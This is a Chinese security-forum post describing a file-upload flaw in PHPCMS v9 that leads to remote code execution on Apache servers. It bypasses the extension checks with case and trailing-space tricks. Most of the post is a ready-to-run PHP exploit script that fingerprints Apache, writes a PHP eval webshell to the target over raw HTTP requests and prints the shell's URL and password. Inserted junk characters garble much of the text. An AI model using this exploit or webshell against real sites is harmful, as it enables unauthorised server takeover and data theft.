找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2101|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行! `8 Q2 Q3 D( J

3 L( `: s1 g* n5 ~( z" Y9 g" j" `简要描述:) H  Y0 c" [( w6 c' e
5 l% o1 @% `) x
phpcms v9 getshell (apache)
+ {+ e/ G9 Y# z9 f/ V详细说明:
: d: F3 ~, y6 K# K( t- f, D6 T5 Z( j% I/ y) q9 R6 |  o
漏洞文件:phpcms\modules\attachment\attachments.php
! S( ^: h2 W* D/ T* q9 p% ?( W5 F- m+ q% h6 I
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
8 @; A7 g! A/ S# p: f; @后缀检测:phpcms\modules\attachment\functions\global.func.php
2 o; F) {1 f, I! a8 S$ w" q7 ]$ I: @3 T0 W7 w' c

  J9 g3 G7 Q7 B, F, O: P8 \
5 z! M: y' @) V4 D" d9 X2 Afunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
& f9 E+ A. j/ @; G1 j2 Z
/ `6 Z: H+ r5 A/ \- w关键函数:% J  L3 m8 C/ t- j/ n
4 p4 ]! E& o. e( Q
3 L' p( S, s  X% }, s
9 U* Q5 O5 M! I
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
# m8 d/ F1 ?: d3 v5 f. D" e) n. i2 [. G" C# V0 T# _# x" p
  Fileext函数是对文件后缀名的提取。: I3 \5 I6 S% V
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
, [; x7 Q- C5 e: R! e7 S9 ?; y# q) j: r经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
( O* |/ K2 A2 t; ]& X; M. o我们回到public function crop_upload() 函数中2 G8 _/ H2 y; q* N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
) C! @; P/ R+ {0 ~7 f9 n+ B在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
5 x5 ^6 [) R8 e. k2 y- h) `2 G6 u4 F* D) H这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。4 {' b/ ^- O3 J0 |. Y7 j
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。) d: [, y! M+ Y, a
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
6 N$ [; W2 y3 [看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% z2 Y/ n$ `# p6 C. P0 Y$ k0 E* H6 J8 j
漏洞证明:
5 y8 m( ^' W4 `
" S( H6 k. [6 ]7 |exp:
/ [& B0 `! v* }7 O6 G- Q
; m2 j) ~5 e1 t<?php
* `& w4 Z7 ?3 w  Ferror_reporting(E_ERROR);1 `! X4 V2 O  M* c5 k4 F2 i
set_time_limit(0);
- H; @' {' o# a* L3 I$pass="ln";
. |. s5 M% g+ H- h" k2 j& w, p1 Hprint_r('
" n4 T5 S# W1 x+---------------------------------------------------------------------------+
4 D* g. k/ }$ |. j! r7 K$ QPHPCms V9 GETSHELL 0DAY 2 c- K/ B' p9 g* {: m! ^
code by L.N.
. \7 J0 ?9 T6 J9 h! o' N- a
: o; [# N, {' W& u$ Y+ x. \% ^8 Mapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
; N! Q  g1 f- z+ \+---------------------------------------------------------------------------+
6 E, t: Y8 \6 U9 l5 I. C9 w( H" ~');
5 j8 g7 S1 D: p) Yif ($argc < 2) {" p4 e) t7 Q6 Q& E; J3 T
print_r('
- O/ u( c  g$ L1 F+---------------------------------------------------------------------------+
% b! u+ T8 c: n4 G: D( \9 \7 gUsage: php '.$argv[0].' url path, h7 ]& f+ Q( h4 e3 d: p
$ B1 m- F. T! F' d- j  P
Example:. l; j; R1 n- |! f- W3 |* r
1.php '.$argv[0].' lanu.sinaapp.com5 y/ k9 n7 P* E/ d# W8 z
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
& ^  U4 P1 U8 Q1 I+---------------------------------------------------------------------------++ X+ W. A* J' O  \7 @$ u0 V/ F
');! d3 F3 \# q" D8 p! e. h' q* @& q/ R
exit;2 D8 S9 R. v! h, |; i
}  `% q" M- R  D" p4 r1 ?
2 R2 s4 l% A9 u: ?: y* i: P
$url = $argv[1];9 l- n5 ^+ e8 G+ M3 m
$path = $argv[2];
( n" Z; ]8 D# ?/ Z' q) E( s$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
6 t# h7 a/ L+ d( e$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
2 K2 x1 [/ S2 T7 z  F, v) W6 {* Yif($ret=Create_dir($url,$path))
( q9 F/ m% v9 s7 y' j{9 p/ \: u, I9 _, \- |' g1 F
//echo $ret;
7 A4 y9 F2 ^3 G$ Q, Q. D$pattern = "|Server:[^,]+?|U";
- f% e' J# k, J) o. d0 hpreg_match_all($pattern, $ret, $matches);, J5 |. L0 P8 q! ]! i+ Y+ A
if($matches[0][0])
( s" {& O$ {5 ?4 V{" c& @# l+ E) s6 _, `' c
if(strpos($matches[0][0],'Apache') == false)4 O) e/ }/ {- ]; P) @* a
{
2 M* ]3 f: p; A3 @echo "\n亲!此网站不是apache的网站。\n";exit;5 r1 V5 s1 y+ v. ^
}
9 U. J* D9 g6 z% g3 n' M" h}: r+ [  A, f$ b/ v6 i
$ret = GetShell($url,$phpshell,$path,$file);6 q) T& Z! ?6 a
$pattern = "|http:\/\/[^,]+?\.,?|U";
$ p. v/ U# {0 J& K. k1 ?/ \/ hpreg_match_all($pattern, $ret, $matches);
% L' W- }4 c: |9 g/ A2 z7 Aif($matches[0][0])7 g4 f1 S& @* D6 `7 j) B5 }" P" w! _; }
{
7 B+ B0 [8 U# k6 k- p& i! Zecho "\n".'密码为: '.$pass."\n";$ _% A& b; L8 _4 u, R
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
# e: `# L) V: f2 w# ^2 f}
7 ]. p: R2 g/ x! }6 Ielse, T, j4 w( V9 K- t/ v% s
{+ Z  ^: _, V/ z2 G* X' D# Z, a* m
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";2 d& f4 u) I) _5 g" ]
preg_match_all($pattern, $ret, $matches);# D" K8 v" t: t. E8 {5 X6 }  \
if($matches[0][0])
/ g# v$ o$ ]" |7 R$ H{" P, q8 g# a' ?" s! H" O- ?4 _5 e; E
echo "\n".'密码为: '.$pass."\n";
. N  o6 c/ l  v0 P$ Wecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, r8 s* j; K$ o- P. E}
: J2 e! p. D2 @2 [& _else
. l4 G. s1 T& c1 x! A{
6 ?( R3 Q" n1 p8 d# C3 aecho "\r\n没得到!\n";exit;
) Z0 @  C9 i5 g7 \6 N0 q3 o}
, V" {2 J9 T$ |' C' d}
' ?8 T( [6 ]3 F1 z; E}
" U9 D- e* }- b$ k' ^7 S! C" }; f4 H
function GetShell($url,$shell,$path,$js)
! U& x' m! e) |" D' O/ X{
% x) R; W1 c+ W* Q0 e$content =$shell;
7 H' d; B7 G: }8 O$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";% b4 F5 b0 i: D2 n: l1 y( m8 \
$data .= "Host: ".$url."\r\n";
- s6 H9 L8 S, _) D7 J3 g$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";# E! {( y* Y7 f( j; c
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 e' |9 K. A) F0 o$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
4 l3 T+ M' O7 o) k2 R) {4 Y# G, |$data .= "Connection: close\r\n";
* |9 N3 S2 w7 J+ S- i$data .= "Content-Length: ".strlen($content)."\r\n\r\n";1 R$ P+ _& p# y3 g' g
$data .= $content."\r\n";7 `" _8 q6 x3 e+ c" j
$ock=fsockopen($url,80);; n, I' S) B, E( V- f- Y: v- D& \
if (!$ock)8 r+ K9 Y. k% t
{( P& P) r2 ]7 J: n: i8 G
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
$ j# g. A" U  C. Y}1 S6 R" Q6 T$ ~; {- k# D
else
) L) ~% w+ t4 x! x{
5 S9 f1 m0 ^0 o$ @- a& |* Ufwrite($ock,$data);+ ^, M$ q! k. }6 C( f
$resp = '';1 {' }' J  e) c3 r7 D" d% m0 z
while (!feof($ock))8 }2 V( G) C. r/ y( t( g2 f0 k( ^9 {
{# }6 o: l- P6 V8 r+ b6 ~
$resp.=fread($ock, 1024);
& M! Y- f7 A; E2 D+ o) h4 n* \}# N& v' a+ K7 L/ u; q
return $resp;
) L, B- j& \3 g/ ~& y7 Y}
) O$ V4 z4 e$ S0 S4 z& r}
2 J% B5 `9 }5 D- B9 h4 o" f! x% A' F$ e* `
function Create_dir($url,$path='')
5 n3 ]/ O* X2 @+ g{- p1 t2 F; u' q' w' ^; l
$content ='I love you';
% [! g. |3 A. U2 W' |0 |$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$ M; D- {9 w" Q: O$data .= "Host: ".$url."\r\n";
- G2 j0 T( f) Q$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ [* M) ~: M+ M7 P1 c
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";7 b6 J' g3 L! h0 \  A
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( b9 @5 }' N% L3 L9 N$data .= "Connection: close\r\n";- L3 O4 L% P2 }& E1 I" s
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";, e6 B- T0 @( t
$data .= $content."\r\n";
4 B& Y5 V$ G; t3 Q- k$ ?$ _6 @$ock=fsockopen($url,80);
9 q# h. @4 z- Q# ]if (!$ock)8 f* P# ~/ o6 |$ ?9 X! [9 E
{
  B# L+ @- Q5 f+ u( Y& S+ techo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;4 X4 G1 M* E3 x; a: s
}
- W! o6 K: V5 u5 y/ J! v; w* zfwrite($ock,$data);
( D* A: H6 O3 V$ n$ R8 r$resp = '';
: g' {. l* l, p/ O3 g/ [" ?while (!feof($ock))& u4 q4 T: A' u0 Q/ o/ g6 n
{8 @3 {# n5 q/ c. a) K! B
$resp.=fread($ock, 1024);+ P3 b$ T$ d" _, e  D9 ?
}8 C$ H3 j4 F# _
return $resp;! K) k, R& H8 \/ y6 Q: r
}
0 i( W* @9 k0 J) D+ B/ {?>   l4 K2 x/ k% C5 a7 n2 c

; d! W* B( F, H$ z4 E修复方案:' l6 n3 V3 i. [& t  Q$ }1 O
  q8 Y& ]3 ]5 _
过滤过滤再过滤
# w0 @6 R9 |! a& `9 `* G  i7 M) H( }+ S3 b% l- K6 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表